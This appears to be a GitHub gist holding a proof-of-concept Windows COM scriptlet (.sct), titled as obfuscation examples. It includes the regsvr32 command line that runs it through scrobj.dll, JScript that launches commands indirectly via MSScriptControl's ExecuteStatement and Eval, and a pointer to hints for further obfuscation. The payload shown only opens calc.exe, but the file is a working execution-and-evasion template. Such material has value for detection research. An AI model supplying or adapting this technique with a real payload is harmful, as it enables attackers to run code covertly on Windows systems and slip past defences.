Created
January 18, 2017 04:37
-
-
Save dave5623/8a91ce212ab15a3ac2c4681f7f360d6d to your computer and use it in GitHub Desktop.
SCT File Obfuscation Examples:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
progid="PoC" | |
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
<!-- Proof Of Concept - Casey Smith @subTee --> | |
<!-- License: BSD3-Clause --> | |
<script language="JScript"> | |
<![CDATA[ | |
//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll | |
var scr = new ActiveXObject("MSScriptControl.ScriptControl"); | |
scr.Language = "JScript"; | |
scr.ExecuteStatement('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");'); | |
scr.Eval('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");'); | |
//https://msdn.microsoft.com/en-us/library/aa227637(v=vs.60).aspx | |
//Lots of hints here on futher obfuscation | |
]]></script> | |
</registration> | |
</scriptlet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment